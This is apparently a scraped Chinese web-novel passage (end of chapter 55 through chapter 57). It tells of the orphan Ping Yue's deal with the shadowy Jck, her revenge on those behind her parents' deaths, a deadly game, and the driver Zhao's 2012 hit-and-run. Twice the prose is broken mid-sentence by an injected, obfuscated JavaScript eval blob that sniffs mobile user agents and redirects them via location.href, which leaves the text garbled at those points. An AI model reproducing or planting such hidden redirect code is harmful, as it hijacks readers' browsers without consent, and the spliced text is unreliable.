黄浦江浩瀚,灯火璀璨,真的如爸爸说的那样,一条条灯火连起来,像从水面滑过的流星尾巴,将河水染成波光粼粼的绚丽。 她看得痴迷,爸爸谈完生意提了一口袋钱回来,摸摸她的头,问月月喜不喜欢。 她仰头对爸爸笑,说喜欢,妈妈也喜欢。她说这里的菜也好吃,妈妈喜欢吃蟹粉豆腐,她喜欢糖醋小排。爸爸都笑着记下来,说以后常带她们来。 爸爸牵着妈妈的手,抱着她坐在膝头。他们在那里看了很久的银火。 银火很亮,很红,很火,像火烧了半条河,烧出遍地的钻石,银光灿灿,烟火灿烂。 但没有以后了,以后再也去不了了。 平月全想了起来,那些记忆是深埋在土壤下的种子,原以为死掉了,直到这瞬间破土而出,才知道曾经是在休眠,在等待生长的一天。 屏幕黑了下去,映出她的脸。那张模糊的脸影上,跳过一行字—— 想知道他们如今过得怎么样吗? 很好,他们过得很好。 只需要两个字就能轻松刺激到她,“很好”两个字。他们过得很好。 爸爸和妈妈死后,公司被分走了,家里的钱被分走了。平月只有一套老房子,住在老房子里,最初有些亲戚来看她,后来只有保姆来,每天上门给她做饭,打扫卫生。保姆觉得她没爸妈很可怜,偶尔送她上学接她放学。 读初中的时候,保姆不来了,只剩她一个人了,还有每个月打到卡上的生活费和学费,不知道谁打的,也许是分走钱的亲戚在良心不安,也许是觉得她可怜的爸爸的朋友。 她不知道,她只知道拿着这些钱,上学,生活,当一个人。 收到录像之后,隔三差五会收到邮寄来的信。没有对方的地址,信上只有平月的姓名和地址。 每封信都是一张黑色的内存卡,用U盘插进电脑播看。她看见偷走爸爸钱的那个女人过得光鲜亮丽,看见砸死爸爸的那个女人住着豪华大房子,生活潇洒。看见那个骗她的警察,每天上班下班,同事友好……看见每一个人,每个人都过得很好,每个人都有自己的家,自己的生活。撞了她的那个男人和他见死不救的母亲,一家其乐融融,生意越做越大,孩子越长越大。 越看,越恨,那种仇恨,压抑的恨意几乎将她淹没。她像溺在水里的死人,想朝岸上挣一挣,能活就活,不能活就倾出水去把大家一起淹死。 她不知道谁把这些东西给她,为什么给她,她只知道,她接受不了,她接受不了每个人在心安理得地活着。她从这些人里,找不出谁与爸爸妈妈有仇,找不出,一点也找不出。他们就像杀人不眨眼的恶魔,杀毫不相干的人信手拈来,脸不红心不跳气不喘,就像等来绿灯过个马路那么简单随便轻松。 他们一个呼吸杀死一个人,夺去她的爸爸,抢走她的妈妈,让她没有家,让她失去所有,让她活得像一潭死水。 她恨,很恨,恨得要死了,恨得上了火,牙齿疼。 后来,看多了,恨意都被磨平了。一张接一张的内存卡,她开始安安静静,情绪毫无起伏地看,隔着屏幕注视他们的生活。因为她知道,他们也就只有这点时间能活了,他们快死了。 大学毕业的那天,有人联系了她,Jck,问她看了这么多录像,有没有更想看的。 她和Jck做了一笔交易。 Jck给她提供场所,让她杀死了那些人。 她帮Jck从一个游戏场带一个人出来。 接下来,该她兑现交易的时刻了。 …… 平月站在摄影棚里,摄影师拿着相机,对她狂拍。 Jck站在旁边,“笑一笑嘛,别木着脸呀,对,笑一个嘛,笑得多好看,唉,这笑得太假了,是不高兴吗,要不给你找个搞笑视频看看?” 平月:“不用……算了,找一个吧。” Jck笑着对秘书招手。秘书拿着平板跑上去,递给平月。 平月看了一眼,笑了。 Jck拍着手掌,“对嘛,笑起来多好看。你呀,以后要常笑,笑能带去好运知道吗?” 秘书端着平板立在两米外,上面在放一段录像,陈宇南背着登山包从山上滚了下去,压塌了人高的草丛,撞到树干,头和脸全是伤,最后一头砸在石头上,撞晕了。 Jck:“哎呀,这个人好笨啊,下山都下得这样笨,不会撞死了吧?” 平月没有太关注那段录像,她笑着问摄像师,“好了吗?” Jck要求她拍一张两寸照片,用来参加游戏的报名。Jck没有具体明说什么游戏,她能猜出是像夏令营这样,提交资料,进行审核。像她报名参加夏令营,内定了会进,但流程是要老老实实按部就班地走。 摄像师争分夺秒对她连拍几百张,依依不舍收了相机,说可以了。 平月的脸笑僵了。 Jck说:“你不爱笑不行,真的,好心建议,毕竟我还等着你帮我把人带出来,不希望你死太早。要多笑,笑能带去好运,特别是你这样的女生,很招人喜欢的。” Jck说:“我也喜欢你。” 平月笑着说:“那你能把‘夏令营’的录像原件和所有备份都给我吗?” Jck说:“你希望陈宇南活着吗?” 平月:“看命吧。” Jck点头:“符合你的预设。” 当初,陈宇南坐着小轿车,从车祸现场路过。如果Jck没有给她看视频,她都知道陈宇南与她有过一“面”之缘。车祸现场那晚,有出租车路过,有别的车路过,陈宇南一家人只是其中一辆车而已。她不懂,为什么Jck把陈宇南送进去,也不想懂了。 她还有更重要的事要忙,Jck的话给她透出很多意思:笑招人喜欢——有观众看游戏。不希望你死太早——这个游戏玩命的。赢了有10亿——玩大命。 平月对生和死很平淡,她想过自己会死在房子里,和他们一起,也想过自己活着下山兑现和Jck的交易,不管是哪种结局,她都不怎么在意,最保底的方法是如果她不能活着,就一把火将自己和他们烧死在山上。可现在活了,而且在真正面对自己或许会死的局面前,还是有点想向活的方向挣扎,很轻微的挣扎。 平月又有点想活了,不多。 秘书带摄像师出去了。 拍摄棚只剩下Jck和平月两个人。 Jck站在幕布前,“养宠物吗?” 平月:“不养。” Jck:“喜欢养宠物吗?” 平月:“不讨厌。” Jck:“那有点难办了,我真心希望你会喜欢。不过无所谓了,你不喜欢也得喜欢。” 平月有不好的预感:“什么宠物?” 白色幕布在Jc ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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平月选不下去,选不出来,也不想选。这种行为激怒了蛇群,她看见那条浑身漆黑的蛇,一身阴恻恻的鬼意。竖瞳凝视她,目露凶光,一看就是条凶蛇,凶得不能再凶的蛇。 那条凶蛇,张开嘴,冲她……吐了一口唾液。 隔着玻璃,唾沫没喷到她脸上,而是反溅到它自己脸上。 它气得炸开了鳞片,真炸开了,一片片鳞片从它身上掉下去,蜕皮了…… “它生病了吧……”尽管她不喜欢蛇,她也知道蛇蜕皮应该是整条一起蜕,不是这种一片一片地蜕。 她看Jck的眼神充满了质疑,好似在说“这就是你精心为我挑选的宠物”? Jck尴尬地咳一声,“它吧……刚出生,可能药物过敏。放心,到了那里,全是健康的蛇供你挑选。这条,不会送过去。如果你没有中意的,这些蛇都不会送进去,我会处理掉。” 平月得到了另外两个信息:全是健康的蛇供你挑选——参与游戏的人必须选一条蛇作为游戏伙伴,想赢就得选一条有用的蛇,为了游戏顺利进行,会给蛇注射药物,保证安全。 另一个信息是:Jck权利很大,可以幕后操作,但权利还不够大,无法自己将人带出游戏。他的头上还压着更多的人。 …… 照片选好了。 Jck说:“不出意外,后天就可以去机场,准备参加游戏了。” 平月看了眼行李。 Jck说:“你暂时回不了家,你容许周志打的那通电话,警察已经去过你家了。” “你有点紧张?家里有警察见不得的东西吗?别紧张,我会找人替你清理,警察不会上你家。毕竟……” “你现在在夏令营里学习嘛。” Jck露出令人头皮发麻的微笑。 平月假装没听懂其中的话——她在夏令营学习——她?很耐人寻味的一个字。 “放心去吧,我会替你善后。”Jck说,“警察不会查到你身上,等你将人带出来,一切都会回归平静。” “你喜欢什么样的生活,我很乐意为你提前备好。” “想好了,会告诉你。” 平月喝完了水杯里的水,将头发扎在脑后,出了办公室。 地下室停着另一辆保姆车,司机载着她去酒店。 Jck坐在椅子里,望着办公室那道被关上的门,在走神。几分钟后,电脑屏幕弹出一封邮件,入账通知。 他在外国开设的银行账户,被汇进100万美元。 嗯……真值钱。比以往的每一个女生都值钱。 Jck屈指摩擦下巴,真希望她能再赚更多的钱。 …… 2030年7月17日,00:00:00 全球各地,每个人都收到一条短信。所有人都以为只有自己在这个时间点收到了短信,零碎的垃圾短信,看过即删,不需要和人讨论,不需要被记住,也没人记住。 全是些广告、话费催缴、外卖配送、彩妆折扣、谈情说爱……如嘴里刚吞下的一口矿泉水,猫咪从身上窜过的一抹影,看一眼就忘。 然而,夹在在这些垃圾短信之中的,还有另一批人,夹杂在这些人之间的更隐秘的一批人,最隐秘的一批人,他们用着老式手机,屏幕和键盘在不足巴掌大的手机上各占一半。 这一批人,收到的短信内容统一是一条链接。链接点进去,一张照片,清晰的两寸照。正正方方置于屏幕中央。女性照片,长得异常漂亮。滑过一张,还有第二张、第三张、第四张……一张接一张,一张脸是一张脸,每张照片,每张脸,美得各有特色,看过不忘,让人目光久久停留、痴迷、流连,这是一场黑暗里的视觉盛宴。 拇指或者食指在照片上摩擦滑过,喜欢的点一点,不够喜欢的再往后面滑一滑,后面还有很多张,全新的一张挨着一张出现在屏幕中央,而滑过去的那张像一阵风一阵烟,轻飘飘消失在链接里。 一共108张照片,108个人,他们只能选一张。 这是今年最后一次择选了,择选结束,游戏即将开场。 滑动照片的手指异常激动,也有平稳如直线的,波澜不惊地挑出自己喜欢的那张。 第108张,那张脸,如霜降白雪,梅绽枝头。艳丽又孤寂地盛放,雪中一抹红,红进人的眼里,开得人唇齿留香。 这张照片,在一众各有惊艳的寸照之间,令人眼前一亮,浑身舒松。 连老练的手指滑在这张照片上时,都顿了顿指尖,选中了她。 平月。 56. 第 56 章 2012年1月4日,很冷的冬天。 余有为跟着赵老板去外地进货,头天去的,早上装完货,中午出发往回赶。 马上要过年了,来进货的车很多,单子在排,为了早些拿货回去,赵老板一整夜都在催促,终于在中午装完货。 回去的路上是余有为开的车。路途遥远,忙了一整夜,又开车,是个人都熬不住。他在半路的服务区换了老板开。老板在车上睡了两三个小时,精神比他好。 余有为坐进副驾,一下子就睡着了,呼噜声震天响。老板防止自己打瞌睡,开了音响,一路震天动地地回去。 进平城是晚上十点过,眼看着进城了,快要到了,在高速上开了大半天,刚下高速还有点不习惯降速,又恰逢在新公路上,路宽,心里急着要回家休息,难免脚下摸不准轻重,踩着油门,轰轰往门市冲。 就差两条街了,这条新路走完,转个弯再走一条街就到了。 赵老板还和余有为笑:“这条路修得好,离我们门市近,比以前快了至少半个小时。” 余有为刚刚醒,揉着眼睛坐起来,问到哪儿了。他睁着朦朦胧胧的视线看,手摸着烟放进嘴里,打火机点上,抽了一口,视线也亮了。他把点燃的烟递给老板抽。 就是老板伸手来接烟的瞬间,其实老板接烟都没转头来,眼睛是看着前面的,但人在持久高速运作之后,反应只会越来越慢。老板熬了通宵,忙着装货,只睡了两三个小时,一直在开车,没休息过,尽管他开车是老手了,感觉能撑住,但人不得不承认人的肉\体和精神是很脆弱的。 当他的视野塞进一辆轿车时,已经来不及了——他的车速太快了,自以为这条路宽又是快凌晨的点了,路上不会有什么车和人,一直没降速,依旧保持着高速路上习惯的120码。 120码,在大多地区的高速上是超速的速度,会扣分罚款,然而他把这个速度放在城市道路上,可想而知会撞得多惨,犹如挖掘机碾过滑板,破碎不堪。 轿车撞得在地上翻了好几圈,甩去了另一条道上。车头全撞烂了,汽车盖弹起来,冒着浓烈白烟。 货车也是刹出去十几米才停下来,两个人撞得头晕眼花,在安全气囊上闷了许久才眨着眼睛缓过一点。 两个人摸着车座椅滑下车,跌跌撞撞去看那辆被撞的小轿车。他们是迎头撞的,轿车是一辆安全系数很高的豪车,只是对撞的车头烂了,压得前侧面的车门凹陷了,后面看起来还好,也仅仅只是看起来。毕竟那么快的速度,安全系数再高的车也经不住撞。 轿车的车门卡死了,一只血红的手推了几下,没推动,从车门上滑下去,留下一道血痕,紧接着再没有动静,看起来像死了。 两个人吓清醒了,混沌都吓没了。比发现自己撞了人更吓人的是,赵老板看见自己的母亲抱着自己的孩子站在路边,呆呆的。 老板跑过去叫了一声妈,人不管多大年纪,出了事,又看见妈,第一时间感受到的是恐惧害怕,那些强压在心底的慌乱登时漫了出来,像装不了洪水的池子,洪水到处漫,淹得人要死了。 老板很慌,浑身都在抖。 赵淑萍是经历过大事的事,再大的事都经历过了,很快从最初的恐惧里回过神了。她把孩子交给老板,跑到轿车前,往里面看,然后说,死了。 她说,快走。趁着没人快走。 撞死了,一家三口,全死了。一个是做小本买卖的水果生意,另一边是开豪车的一家三口。不用想,这是赔钱赔不下来的,把房子卖了,门市卖了,所有东西都卖了,倾家荡产都赔不起。 一家三口啊,都死了,会坐牢的。 没人想坐牢。他还有孩子,刚出生,孩子以后要读书,不管考公还是进大公司,都要调查背景的。他不能去坐牢。 老板跑了。年轻的余有为见老板跑了,也跟着跑了。老板都赔不起,他一个搬运工更赔不起。 赵淑萍抱着孩子匆匆回了家,把孩子交给孩子妈,又匆匆转去门市上。 余有为他们没回来,不知道跑去哪里了。 赵淑萍急得嘴里起了泡,心慌不安地等了一宿,终于在凌晨四点把两人等回来。 三人在库房里商量了半天,让余有为离开平城,他们把货车处理了,水果也没要。 余有为走得又急又快,怕警察找上门。老板也怕警察找上门,一天的生意没心思做,关了门,心慌得吃不下饭,喝不下水。 没有警察上门应该是最令人高兴的,但没人高兴,高兴不起来,因为这意味着警察也许会在下一秒上门。 忐忑不安等到晚上,他们从电视新闻里看见这起车祸的报道,肇事司机跑了。路上没有监控,车祸具体经过不明,警察会持续追查。 没有监控。老板只听见了这几个字,稍稍松口气。 赵淑萍依旧提心吊胆,睡不安,住不安,在一次因为太过忧心而晕倒后,她决定回安阳去跟二儿子。 赵老板没挽留,他每天在家里看着自己妈就会想起那件事,尽管过了半个月,尽管没什么风波了。可一想到自己撞死人,再狠心的人都会感到不安。 弟弟的工资不高,听说赵淑萍要去,弟媳妇不高兴,讲小房子住不下。老板拿出所有钱,不顾妻子反对,给弟弟和弟媳买了一套四室两厅的大房子。 弟媳终于同意了,笑着将妈接了过去。 头一年,他都不敢过去过年。弟弟问起就说忙。妈也没多说什么。两年三年,随着时间流逝,终于将那件事埋了下去,他开始往弟弟那边走动,和他妈缄口不提那事。 平静无波的过了十八年,老板记得非常清楚,没人会忘记自己杀过人,哪怕平时不提,但有时候会梦见,经常在半夜被吓醒。 十八年过去,现在想起那件事,他都不知道应该先从哪里提起,但有人知道怎么提起,是他的邻居,笑眯眯问他以前那辆货车是卖了还是扔了。 赵老板回家的时候,邻居提着垃圾出门,要去楼下倒垃圾。那个邻居和他差不多大,在小企业当会计。他问出这话的时候,老板整个人都傻了,不知道为什么这样问。 那辆火车……都18年了,谁会问18年前的车啊…… 他全身紧绷。 那个邻居笑着说:“我那车不是年限到了准备报废了吗,今天开去报废……诶……你说人怎么这么有缘呀,当初咱俩前后脚结婚买到这里房子当了邻居,二十多年过去了,今天我开车去报废看见你那辆车了,停在一堆车里,锈都生三尺厚啦!你什么时候开去报废的啊?车咋滴啦要报废,我记得那年你新买的车啊……唉……你怎么走了……真奇怪,不就唠两句嗑吗……那车在那儿停了挺久吧,全锈了,前面的车皮都掉了,没个十年八年都锈不成那样……唉……你好奇怪呀,好好的新车……” 老板不明白为什么18年过去了,车还没报废。报废所的人的都不工作吗?2012年汽车报废没什么手续,只要把车停进去,那里面的人管你什么车,闭着眼睛推过去,全给压成铁片。 陈年老事被翻出来,老板慌了。那车是他的,开车撞人也是他,逃跑还是他…… 他坐不住,起身去报废车场。果然,他那辆车破破烂烂地立在一堆小轿车后面,打眼就看见了。 时隔18年,他一眼认出自己车。车皮不是锈掉了,是当年撞烂了。他的车,前面也撞凹陷了,车壳全翘了出来,漆掉完了。不过18年的时间让它看起来像锈烂的。 “唉!赵老板,你怎么在这儿啊?来看你的车啊?” 邻居笑眯眯站在他身后。 赵老板头皮都要裂开了,这个人简直阴魂不散。 那个邻居摆摆手:“诶诶诶,不是我跟你来的啊,我就说吧咱们真有缘。刚才啊,这儿工作人员跟我打电话说我手续不全,来签个字。这不,撞见你在这儿。” 赵老板问他报废车要什么手续。 “多得去了,麻烦,要是我早几年来报废都不至于这么麻烦。”邻居皱着眉,看起来是真的很麻烦,“赵老板要是想报废去找人吧,自己跑是真不行,我跑好几趟了,早知道这么麻烦我都找代办了。不过我手续办得差不多了,就这两三趟。” 他说着,往里面走。赵老板也跟着走,想去看看。 邻居话题一转,忽然说:“赵老板听说818夏令营没?” 赵老板:“什么?” 邻居:“夏令营啊,就是那种可以把孩子送去补补课什么的,听说这个夏令营厉害得很,送进去的孩子出来一个赛一个的强。不止学生,老师啊职工啊,只要有想学的,都可以报名去参加。还挺抢手,报了名还得被选,不一定选中。我孩子老师报名去了。我给自己和孩子报了一个,你要不要报,你家孩子要不要报,万一选上了还能做个伴。里面资源多得很,管他学什么,进去认识点人也好。要不你也报个吧,咱们老邻居了,一块去,好得很!” 赵老板:“在哪儿培训?” 邻居:“不知道,挺隐秘,好像挺远的,说不能透露。前几年有个明星去了,地址泄露,一大群粉丝围过去。那年在山上,粉丝人多,失足坠崖了好几个。后来就不透露地址了。” 所以说是赵老板呢,脑袋就是比寻常人转得快:“谁都能去?年龄限制有吗?” 邻居:“没有吧,但也不能太小或太大吧,太小学什么啊?太大学什么啊,你说对吧赵老板。我们这个年龄是没问题的。” 赵老板笑笑,陪他签完字,一起回了小区。 赵老板不知道自己为什么会冒出这种想法,但就是冒出来了,而且一冒出来就一发不可收拾——他想让他妈去。 他对他妈是有恨的,恨年轻时不离婚被爸爸拖累成那样,恨她控制欲太强,想要他和弟弟的人生跟随她的脚步走,恨那年车祸她让他跑,然后这些年来没个安生日子。原本以为安生了,结果随便被人提一句,才懂得从来没安生过。 赵老板这辈子都没安生过,小时候,父母打架头破血流。初中时候,父母吵架吵翻天。高中时候,父亲死了,终于清净了,结果他的母亲,要他好好考大学啊,考个好大学啊,我供你读书不容易呀,你一定要考个好大学找个好工作啊,千万不能像你父亲那样啊,你得堂堂正正做个正经的好工作,你是大学生啊…… 后来,工作了,还是不安生。工作被辞了,自己做生意,以为自己掌握自己人生了,还是不安生。 这些所有的不安生,全部来源于一个人,他的母亲,他没了丈夫的母亲,他一个人带大两个孩子的母亲,那个伟大的母亲。 他的人生,他的一切,他的每一步都在他母亲的指使中进行。包括车祸后的逃跑。包括现在的生活,哪怕母亲去跟着二弟住了十多年了,只要母亲在,母亲的阴影仍旧如影随形地笼罩他,将他压得死死的。 他啊,真的很希望他的母亲离开,希望这辈子都别在见到她。一看见她,他就会想起自己那个一声不吭的老实父亲,想起自己被左右的人生,想起那场车祸,想起自己是一个杀人犯,是一个在逃的杀人犯,想起自己的儿子往后一生可能因为自己而不顺遂。 赵老板从来没有这么清晰地想过、意识过,直到这一晚,他才清楚明白,压制住的理性之下,他是多么疯狂的想母亲早早死掉,像父亲那样悄无声息死掉。 可是母亲的命很长。六十多岁了,身体健朗。让他心慌,心急,心里害怕。 他四十多了,身体越来越不好,能不能活过50都不知道。他最后的人生也要被母亲掌控吗?也要在看见母亲就会想起那些令人可怕的回忆中度过吗? 他不想。 老实了一辈子,他想反抗一下,稍稍地反抗一下。 周末,他去了安阳,去二弟家,和母亲、二弟、弟妹、两个侄女热热闹闹吃过午饭,他问,妈,想去旅游吗,去旅个游散散心吧,您这些年为家里操劳够多了,出去散个心,放松放松。 母亲笑得一脸幸福而慈爱,却摆摆手说,算啦,我都这把年纪了,走不动,坐不动,还是家里待着好。 弟媳可不是喜欢妈的人,当即在旁边帮腔,劝她出去。反正也不是她出钱,人离开家里,她还能轻松一段时间。 赵老板说,老年团,轻松的,有车接车送,什么都齐全,不操心。 母亲犹豫了,她在公园里和那些老太太老头们聊天,可听说了,那些老太老头多多少少远远近近都去旅游过,开心的。 母亲说:啥都操办齐全了,肯定贵吧? 赵老板笑道:贵啥,妈想去的,哪能贵啊,况且,再贵是妈去散个心,儿子还怕拿不出钱,左右不过多卖两箱苹果的事。 这些年,他的生意越做越大,自然是钱越滚越多。 两个小侄女也在旁边起哄,要奶奶带好吃的回去。 赵淑萍受不住了,说行行行,你们既然想我出去散个心,那你们看着办,我都听你们的。 夏令营和真正的老年团可不一样,那是学习的地方,偏僻、清远、学习就会劳累。赵老板打电话问过了,不限年龄段,但会审核资料,由公司内部人员确定。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252517|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无所谓,赵老板只想试试,能去当然好。去一趟,折腾下来,母亲应该不会这么硬朗了吧?说得狼心狗肺些,如果母亲因为学习劳累过度,去世了,他是否可以拿到一笔大额赔偿金? 818夏令营是国内最大的夏令营。 报名很快,审核也很快,快得赵老板即恍惚又兴奋。他开车送母亲去车站,交待一切事宜。絮絮叨叨将母亲送上火车,说那边有人来接。 送走母亲,坐回车内,赵老板看见中控台的纸,一张写满重要事件的纸。那是为母亲准备的,上面写了她每日要吃的药,他和二弟的电话,还有她在夏令营要学习的课程。 赵老板没将这张纸给她,就像因为太急着赶车而忘记了,如今人走了,准备的纸静静躺在那里,随着他关车门的时候震了震。 其实不是,赵老板就是故意没的。他四十多年,还没到会忘记事情的地步。出发前,他在夹缝里搜到一条关于818夏令营的信息,忘记是怎么搜到的了。 那是一条隐秘的信息,报道人说自己去参加过818夏令营,她知道里面的规则。每个人都有属于的课程,有对应的老师,每天要完成老师布置的作业。前面一周,不管功课完成没完成会提供食物。一周之后,功课没完成,会禁食,直到完成功课为止。 非常苛责的上课方式。 有人不信,不相信偌大夏令营会这样做,万一饿死了怎么办?楼主没再回了,热度不高,很快被淹没过去。 但赵老板看见了,相信了,因为他坚信就是这样。如果不坚信,他不知道该怎么去想自己做下的这件大逆不道的事。 他只能坚信,坚信母亲去了那里,回不来。以后他再也不会一看见母亲就想起父亲,想起那场车祸,想起自己是杀人凶手,想起自己儿子是杀人凶手的儿子。 他终于……要轻松了…… 赵老板靠在座椅上,仰着头,深深舒缓一口气,长长的气。 这口气还没落进肚子,刺目的灯光直射过来。赵老板睁开眼,还没来得及看清是什么车的灯,剧烈的颠簸,连车带人飞滚出去几十米远,撞得四周的轿车堆叠,撞得他头晕眼花,头破血流。脑袋撞在车玻璃上,他匍匐在方向盘和座椅之间,晕了过去。 四周嘈闹,汽车尖锐的警报,人的尖叫,刺激得赵老师醒了。他撑着又胀又晕又痛的头,伸手去推车门。车门被撞扁了,完全凹陷进来卡住了他的腿。让他的腿动弹不得。 浑身都在疼,又热又疼,发麻。无力。鲜血顺着脑袋留,晕眩的眼睛看见手掌上的血在车窗上留下一个掌印和划痕,像18年前的夜晚,那个被他撞死的司机也是这样,血在车窗上血下猩红刺目的血印。 他艰难地从方向盘下面抬起头,颈椎痛得人要窒息过去。他怀疑颈椎折了,他刚坐上车,还没准备走,没系安全带。车被撞翻时,他像一根弹簧,下半身卡在座椅下面,上半身像一根弹力强悍的弹簧,晃来晃去,滚来滚去,被卡死的腿就是他的支撑点。 一辆货车,一辆铁迹斑斑的货车,一辆熟悉的铁迹斑斑的货车,停在斜前方。 赵老板看见的刹那,脑袋嗡地炸了——那是他的货车。18年前,他开去撞死别人的货车! 18年后,被别人开着,来撞他了。 一模一样的场景,几乎一模一样的场景。 哪里是随时时间渐渐消失了,明明是因果报应来得早与晚。 隔了18年,他的报应来了。 18年前,他撞死了别人。 18年后,报应到他身上。 他痛苦地掀起眼皮,一个人戴着鸭舌帽,站在窗外,隔着玻璃,垂下视线看他。 那双眼睛,漆黑如墨。 她张开唇,轻声说:“啊,死了……” 啊,死了,撞死了……撞死了…… 当年,他的母亲,站在那辆被撞翻的车前,探着身体,透过车窗,往车里看。看完后,啊地叫了一声,跑回来,说死了,撞死了,撞死了。 死了,撞死了。 真的死了吗,真的撞死了吗…… 没有,没有,没死,赵老板不愿意想起,不愿意承认的细节全在这一刻都浮了上来。 没死,没死,都没死。都还活着。 他去看的时候,那个司机用血淋淋的手指往后面指,流血的嘴在说着什么。隔着车窗,当时他自己也被装傻了,没听清。 现在,他听清了,他想起来了,那个人说救她,救她,救她,他的孩子,后座那个小小的人,他的孩子,卡在座位与椅背之间。 当时,他还探头去看了一眼,那是一个很小的女孩子。仰着头,昏昏沉沉地半眯着眼,望着她,那双漆黑的瞳孔充满了痛苦与祈求,像那个男人,在求他,求他救救她,救救他们。 可是他太怕了,怕死了。 母亲抓住他,将他往货车那面推,让他快走,母亲说死了,全死了,撞死了。 死了,撞死了,全死了,全死了。 他跑了,逃跑了。 死了,死了,得跑啊,不跑做什么,坐牢吗,他不要坐牢,不能坐牢。他有家人,有儿子,有自己的人生。 对,他有自己的人生。母亲并没有完全掌控他的人生,母亲很爱他,爱到他希望母亲离开母亲就离开,他希望母亲去帮他照顾家人母亲就去照顾,他希望母亲把所有钱拿给他结婚做生意母亲就拿,母亲永远听他的话,支持他做的一切决定。 为什么他会觉得母亲掌控了他,因为母亲那张脸。18年,或者28年,38年,只要看见母亲那张为他紧张、担忧、焦虑的脸,他就忐忑不安,他就感到害怕,他就没办法正常生活。 他讨厌母亲,极度自私地讨厌母亲。他做梦梦见过母亲死了,母亲断气的瞬间,他在梦里感到前所未有的轻松,那种轻松被他带出梦,他有种重新活一遍的恍惚。 就是那一阵恍惚,他希望母亲死掉,快些死掉,早一点死掉。他能为她办一场风风光光的后事,她想要什么样的排场,他都依她,只要她死,像父亲那样,轻轻死掉就好了。 人群散了,像一阵烟,轻飘飘地往四周散开。赵老板艰难地睁开眼皮,睁不开,瞳孔开始虚幻,看不清,什么都看不清。有一抹浓厚的影子,从他的瞳孔里走出去,越走越远,越走越小,小成一团,一个点,像卡在后座的女孩。 脑海里的最后一幕,他想起来了。 这个人,是当年他没完全撞死的那个唯一活下来的孩子。 那个求他救救他们的小女孩…… 57. 第 57 章 钱晓文后来想过自己为什么会干那种事,大概是在殡仪馆呆久了,被死人夺了魂,不然她为什么要那样干? 那晚,她师父打电话,让她直接去现场拉尸,因为她家住得近,不用去殡仪馆再去现场。她直接去现场,拉了尸跟车回殡仪馆。 她坐了公交车,那段日子穷,所有钱全给胡浩去填坑了。身上的钱让她坐公交车都显得有点余额不足。拉尸地点在交汇路77号,那边的公交站点很远,她得在交汇路146号的公交站点下车,走过去。 她在路口等红灯,有个老人抱着孩童,一边哼歌一边在街边走。那个老人的白头发多,几乎全白了,但挺精神,穿得单薄不冷的样子,但不知道为什么这么晚了还抱着孩子在外面晃。 过于奇怪,钱晓文多看了两眼。 那个老人走得挺快,钱晓文还在这边等红灯,那个老人已经拐去下一个路口了,看起来还是被冬天的夜晚冷着了,在极力往家回。 终于变绿灯了,钱晓文穿过马路,沿着刚才老人走过的那条路走。晚上冷,她穿得厚。她现在已经没有那种轻薄而保暖的羽绒服穿了,她穿得是大学时买的那种廉价的羽绒服,厚实而压肩膀。 穿着这种羽绒服,走起路来,身上累累的。 殡仪馆在城郊外,现在很晚,路上车少,开得快也要三十分钟。而交汇路77号就在前面了,她不急,就慢悠悠走。 从146号走到133号,用了接近十分钟。刚开始,她还没太注意,快到133号的路口时,她忽然发现前面的路面有很多碎片,在昏暗的路灯下显得路面脏脏的。 好像有车的轮子在地上打了滑,快速又轰隆咔哒地开跑了。 她越走越近了,看见到了车祸现场。只有被撞得稀烂的轿车横在路中间,周围没人,也没车。 她这才反应过来,刚才听见的奇怪声音不是车轮子打滑,那是肇事车的车皮掉在地上,摩擦柏油路咔哒刺啦地逃跑。 钱晓文下意识拿出手机报警,一面按110的键,一面朝横在路中央的车跑过去。跑得气喘吁吁。她扶着车门喘着气,问还有人活着吗? 里面的人动了动,也只是动了动,没人出声。 就在她把头凑到车窗上往里看时,里面传出来一点声响,小女孩的声音,她的声音发着颤,说姐、姐,救救爸爸,爸爸、妈妈…… 她很小,小到钱晓文差点没看见她。 黑玻璃贴着防偷窥的膜,车内乌黑。只有身后昏暗暗的路灯,路灯从头顶泄下来的光被钱晓文压在车上时的身影挡住了。 钱晓文闻着声音在椅背和座位之间的夹缝里看见她。她没系安全带,被甩飞了,因为人太瘦小,正巧被甩到座椅和座位之间,牢牢卡在里面。 钱晓文让她先别乱动,她开车门。开车也被卡死了。钱晓文说,你试试把车窗打开,我想办法拉你出来。 她拨出去110,把手机搁在车顶。车窗完全开了下去,她往车里探进两只手,去捞那个小女孩。 钱晓文不会开车,也没开过车,她甚至找不到这辆车调节座椅的铁片在哪里——她没坐过这种豪车,不知道这辆车是用按钮调节的。她用蛮力将前面的座椅往前面推,另一只手拽着小女孩的胳膊往上提。 费了好半天的劲,终于将小女孩的上半身提了起来,再提的时候,她就含痛,非常痛。 钱晓文眯着眼,看见她的腿在卡死在座椅下面的缝隙,那是非常狭窄的缝隙。她的两条腿像两根白萝卜,横着卡在里面。只能将座椅拆掉拿她出来,强行拉拽会折断她的腿。 110接通了,传来“喂”的声音。钱晓文正要从车里收回自己的身体,视线忽然瞥见小孩子的身旁,另一边椅子下面有一个黑色袋子。袋口裂开了,露出满满当当的现金,红色的,叠得非常整齐的现金,一垒叠一垒,叠在黑色塑料口袋里。 钱晓文的脑袋一下就炸开了,她大概能知道那是多少钱,前不久,她才将家里所有能卖的东西全卖了,那些卖掉的钱堆叠起来的现金由她亲手交给胡浩,让他去填银行的空洞。 就是这样多,很高很厚的一大堆。 她呕心沥血变卖完所有的东西,才能凑出这么多钱。而这一车的人,轻而易举地拿着这一袋钱,甚至不看中的用装垃圾的黑色塑料袋装,还很嫌弃地丢在脚下。 他们,就像不把这几十万当钱,只当它是纸,脚下踩的纸——小女孩脚下还踩了两垒。 就是那两垒,将她腿与座椅之间的缝隙塞死了,塞得死死的。 姐姐……小女孩痛苦地叫,她说,叫医生,救妈妈,救爸爸。 